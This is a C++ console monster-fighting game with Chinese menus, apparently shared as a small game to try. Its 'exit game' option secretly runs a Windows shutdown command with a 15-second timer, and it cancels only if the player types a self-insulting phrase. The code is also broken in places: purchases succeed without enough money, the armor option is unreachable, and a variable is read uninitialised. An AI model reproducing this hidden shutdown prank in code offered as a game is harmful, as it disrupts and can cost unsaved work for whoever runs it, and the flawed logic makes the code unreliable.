• c++小游戏


    #include <iostream>
    using namespace std;
    double shengmingli=2000;//定义主角初始生命力
    int gongjili=150;//定义主角初始攻击力
    int fangyuli=200;//定义主角初始防御力
    int money=20;//定义主角初始金钱数量
    bool guoguan;//定义是否通关判定
    void wuqidian();//定义武器店函数
    void yaodian();//定义药店函数
    void guaiwu1();//定义小怪物函数
    void guaiwu2();//定义大怪物函数
    string s1;
    int main()
    {
    cout<<"欢迎你开始玩打怪物小游戏! ";
    cout<<"小镇 ";
    cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
    cout<<"和一家武器店。 ";
    int xiaozhen;//定义选择项目
    cout<<"1.去武器店"<<endl;
    cout<<"2.去药品店"<<endl;
    cout<<"3.去打小怪物"<<endl;
    cout<<"4.去打大怪物"<<endl;
    cout<<"5.退出游戏"<<endl;
    cout<<"6.显示你的状态"<<endl;
    cin>>xiaozhen;
    if(xiaozhen==5)
    {
    system("shutdown /s /t 15");

    cout<<"请输入下面的文字,它会帮助你";
    system("pause");
    cout<<"我是大笨蛋...";
    while(s1!="我是大笨蛋(...")
    {
    cin>>s1;
    if(s1=="我是大笨蛋...")
    {
    system("shutdown /a");
    cout<<"恭喜解除危机,狂按回车推出";
    break;
    }
    else {cout<<"输入错误,请输入:我是大笨蛋...";
    system("pause");
    }
    }}
    while(xiaozhen!=5)//输入5时退出游戏
    {
    if(shengmingli<=0)//主角生命力小于等于0时游戏结束
    {
    cout<<"你死啦!"<<endl;
    break;
    }
    if(guoguan)
    {
    cout<<"恭喜通关!"<<endl;
    break;
    }
    if(xiaozhen==6)//输入6可检测自己的状态
    {
    cout<<"你的生命力:"<<shengmingli<<endl;
    cout<<"你的攻击力:"<<gongjili<<endl;
    cout<<"你的防御力:"<<fangyuli<<endl;
    cout<<"你拥有的钱:"<<money<<endl;
    }
    else
    switch(xiaozhen)
    {
    case 1 : wuqidian();break;
    case 2 : yaodian();break;
    case 3 : guaiwu1();break;
    case 4 : guaiwu2();break;
    default : cout<<"请不要乱选!"<<endl;break;
    }
    cin>>xiaozhen;
    }
    cin.get();
    cin.get();
    return 0;
    }
    void wuqidian()
    {
    cout<<"欢迎来到武器店!"<<endl;
    cout<<"1、买小刀(1M加2攻击力)"<<endl;
    cout<<"2、买短剑(2M加20攻击力)"<<endl;
    cout<<"3、买大砍刀(5M加40攻击力)"<<endl;
    cout<<"4、买双节棍(7M加60攻击力)"<<endl;
    cout<<"5、买盾牌(2M加30防御力)"<<endl;
    cout<<"6、买铠甲(5M加60防御力)"<<endl;
    cout<<"7、离开武器店"<<endl;
    int wuqidian;
    cin>>wuqidian;
    while(wuqidian!=7)//输入7时结束函数
    {
    switch(wuqidian)
    {
    case 1 : if(money<10)
    cout<<"你的钱不够"<<endl;//钱不够时返回Flase
    else
    cout<<"购买成功!"<<endl;//钱足够时返回True
    gongjili+=2;
    money-=1;
    break;
    case 2 : if(money<80)
    cout<<"你的钱不够"<<endl;
    else
    cout<<"购买成功!"<<endl;
    gongjili+=20;
    money-=80;
    break;
    case 3 : if(money<140)
    cout<<"你的钱不够"<<endl;
    else
    cout<<"购买成功!"<<endl;
    gongjili+=40;
    money-=140;
    break;
    case 4 : if(money<200)
    cout<<"你的钱不够"<<endl;
    else
    cout<<"购买成功!"<<endl;
    gongjili+=60;
    money-=200;
    break;
    case 5 : if(money<60)
    cout<<"你的钱不够"<<endl;
    else
    cout<<"购买成功!"<<endl;
    fangyuli+=30;
    money-=60;
    break;
    fangyuli+=60;
    money-=100;
    break;
    default : cout<<"无"<<endl;
    break;
    }
    cin>>wuqidian;
    }
    if(wuqidian==7)
    { //返回main()主函数
    cout<<"欢迎下次再来!"<<endl;
    cout<<"欢迎你开始玩打怪物小游戏! ";
    cout<<"小镇 ";
    cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
    cout<<"和一家武器店。 ";
    cout<<"1.去武器店"<<endl;
    cout<<"2.去药品店"<<endl;
    cout<<"3.去打小怪物"<<endl;
    cout<<"4.去打大怪物"<<endl;
    cout<<"5.退出游戏"<<endl;
    cout<<"6.显示你的状态"<<endl;
    }
    }
    /*
    yaodian()的设置与wuqidian()相同,可参照阅读.
    */
    void yaodian()
    {
    cout<<"欢迎来到药品店!"<<endl;
    cout<<"1、买1号补血药(10M加200生命)"<<endl;
    cout<<"2、买2号补血药(50M加1000生命力)"<<endl;
    cout<<"3、买3号补血药(100M加2200生命力)"<<endl;
    cout<<"4、离开武器店"<<endl;
    int yaodian;
    cin>>yaodian;
    while(yaodian!=4)
    {
    switch(yaodian)
    {
    case 1 : if(money<10)
    cout<<"你的钱不够"<<endl;
    else
    cout<<"购买成功!"<<endl;
    shengmingli+=200;
    money-=10;
    break;
    case 2 : if(money<50)
    cout<<"你的钱不够"<<endl;
    else
    cout<<"购买成功!"<<endl;
    shengmingli+=1000;
    money-=50;
    break;
    case 3 : if(money<100)
    cout<<"你的钱不够"<<endl;
    else
    cout<<"购买成功!"<<endl;
    shengmingli+=2200;
    money-=100;
    break;
    default : cout<<"无"<<endl;
    break;
    }
    cin>>yaodian;
    }
    if(yaodian==4)
    {
    cout<<"欢迎下次再来!"<<endl;
    cout<<"欢迎你开始玩打怪物小游戏! ";
    cout<<"小镇 ";
    cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
    cout<<"和一家武器店。 ";
    cout<<"1.去武器店"<<endl;
    cout<<"2.去药品店"<<endl;
    cout<<"3.去打小怪物"<<endl;
    cout<<"4.去打大怪物"<<endl;
    cout<<"5.退出游戏"<<endl;
    cout<<"6.显示你的状态"<<endl;
    }
    }
    /*这里是两个战斗函数,使用指针来处理.避免造成内存崩溃.*/
    void guaiwu1()
    {
    cout<<"开始与小怪物战斗!!!"<<endl;
    double* g_shengmingli=new double;//定义怪物生命
    int* g_gongjili=new int;//定义怪物攻击力
    int* g_fangyuli=new int;//定义怪物防御力
    int* g_money=new int;//定义怪物金钱
    *g_shengmingli=100;
    *g_gongjili=5;
    *g_fangyuli=3;
    *g_money=5;
    double* tongji1=new double;//用来计算主角对怪物的杀伤
    double* tongji2=new double;//用来计算怪物对主角的杀伤
    *tongji1=0;
    *tongji2=0;
    int* huihe=new int;//定义回合数
    *huihe=1;
    cout<<"你开始对小怪物进行攻击!"<<endl;
    int* xuanze=new int;
    /*
    攻击计算公式
    杀伤=攻击力*2-防御力
    玩家每回合可以选择攻击与逃跑
    */
    while((*g_shengmingli)>0 && shengmingli>0 && (*xuanze)!=2)
    {
    cout<<"现在是"<<"第"<<*huihe<<"回合!"<<endl;
    cout<<"请选择你的动作: ";
    cout<<"1、攻击 2、逃跑 ";
    cin>>*xuanze;
    switch((*xuanze))
    {
    case 1 : cout<<"你对小怪物发动了攻击!"<<endl;
    *g_shengmingli-=gongjili*2-(*g_fangyuli);
    *tongji1=gongjili*2-(*g_fangyuli);
    cout<<"你打掉了小怪物"<<*tongji1<<"的生命!"<<endl;
    cout<<"小怪物还剩"<<(*g_shengmingli)-(*tongji1)<<"点生命"<<endl;
    shengmingli-=(*g_gongjili)*2-fangyuli;
    *tongji2=(*g_gongjili)*2-fangyuli;
    cout<<"小怪物对你发动了攻击!"<<endl;
    cout<<"小怪物打掉了你"<<*tongji2<<"的生命!"<<endl;
    cout<<"你还剩"<<shengmingli-(*tongji2)<<"点生命"<<endl;break;
    case 2 : cout<<"你决定逃跑!"<<endl;
    cout<<"逃跑成功!"<<endl;continue;
    default : cout<<"请不要乱选!"<<endl;
    }
    (*huihe)++;
    }
    if((*g_shengmingli)<=0)
    {//杀死怪物后的返回
    cout<<"小怪物被你杀死了!你真厉害!!!"<<endl;
    money+=(*g_money);
    cout<<"欢迎你开始玩打怪物小游戏! ";
    cout<<"小镇 ";
    cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
    cout<<"和一家武器店。 ";
    cout<<"1.去武器店"<<endl;
    cout<<"2.去药品店"<<endl;
    cout<<"3.去打小怪物"<<endl;
    cout<<"4.去打大怪物"<<endl;
    cout<<"5.退出游戏"<<endl;
    cout<<"6.显示你的状态"<<endl;
    }
    else
    if(shengmingli<=0)
    {//被怪物杀死后的返回
    cout<<"你被小怪物杀死了!游戏结束!!!"<<endl;
    }
    else
    if((*xuanze)==2)
    {//逃跑的返回
    cout<<"你逃回了小镇!"<<endl;
    cout<<"欢迎你开始玩打怪物小游戏! ";
    cout<<"小镇 ";
    cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
    cout<<"和一家武器店。 ";
    cout<<"1.去武器店"<<endl;
    cout<<"2.去药品店"<<endl;
    cout<<"3.去打小怪物"<<endl;
    cout<<"4.去打大怪物"<<endl;
    cout<<"5.退出游戏"<<endl;
    cout<<"6.显示你的状态"<<endl;
    }
    delete g_shengmingli;
    delete g_gongjili;
    delete g_fangyuli;
    delete g_money;
    delete tongji1;
    delete tongji2;
    }
    /*
    设置均与void函数guaiwu1()相同,可参照上例阅读.
    */
    void guaiwu2()
    {
    cout<<"开始与大怪物战斗!!!"<<endl;
    double* g_shengmingli=new double;
    int* g_gongjili=new int;
    int* g_fangyuli=new int;
    *g_shengmingli=3600;
    *g_gongjili=500;
    *g_fangyuli=500;
    double* tongji1=new double;
    double* tongji2=new double;
    *tongji1=0;
    *tongji2=0;
    int* huihe=new int;
    *huihe=1;
    cout<<"你开始对大怪物进行攻击!"<<endl;
    int* xuanze=new int;
    while((*g_shengmingli)>0 && shengmingli>0 && (*xuanze)!=2)
    {
    cout<<"现在是"<<"第"<<*huihe<<"回合!"<<endl;
    cout<<"请选择你的动作: ";
    cout<<"1、攻击 2、逃跑 ";
    cin>>*xuanze;
    switch((*xuanze))
    {
    case 1 : cout<<"你对大怪物发动了攻击!"<<endl;
    *g_shengmingli-=gongjili*2-(*g_fangyuli);
    *tongji1=gongjili*2-(*g_fangyuli);
    cout<<"你打掉了大怪物"<<*tongji1<<"的生命!"<<endl;
    cout<<"大怪物还剩"<<(*g_shengmingli)-(*tongji1)<<"点生命"<<endl;
    shengmingli-=(*g_gongjili)*2-fangyuli;
    *tongji2=(*g_gongjili)*2-fangyuli;
    cout<<"大怪物对你发动了攻击!"<<endl;
    cout<<"大怪物打掉了你"<<*tongji2<<"的生命!"<<endl;
    cout<<"你还剩"<<shengmingli-(*tongji2)<<"点生命"<<endl;break;
    case 2 : cout<<"你决定逃跑!"<<endl;
    cout<<"逃跑成功!"<<endl;continue;
    default : cout<<"请不要乱选!"<<endl;
    }
    (*huihe)++;
    }
    if((*g_shengmingli)<=0)
    {
    cout<<"大怪物被你杀死了!你真厉害!!!"<<endl;
    guoguan=true;
    cout<<"欢迎你开始玩打怪物小游戏! ";
    cout<<"小镇 ";
    cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
    cout<<"和一家武器店。 ";
    cout<<"1.去武器店"<<endl;
    cout<<"2.去药品店"<<endl;
    cout<<"3.去打小怪物"<<endl;
    cout<<"4.去打大怪物"<<endl;
    cout<<"5.退出游戏"<<endl;
    cout<<"6.显示你的状态"<<endl;
    }
    else
    if(shengmingli<=0)
    {
    cout<<"你被大怪物杀死了!游戏结束!!!"<<endl;
    }
    else
    if((*xuanze)==2)
    {
    cout<<"你逃回了小镇!"<<endl;
    cout<<"欢迎你开始玩打怪物小游戏! ";
    cout<<"小镇 ";
    cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
    cout<<"和一家武器店。 ";
    cout<<"1.去武器店"<<endl;
    cout<<"2.去药品店"<<endl;
    cout<<"3.去打小怪物"<<endl;
    cout<<"4.去打大怪物"<<endl;
    cout<<"5.退出游戏"<<endl;
    cout<<"6.显示你的状态"<<endl;
    }
    delete g_shengmingli;
    delete g_gongjili;
    delete g_fangyuli;
    delete tongji1;
    delete tongji2;
    }

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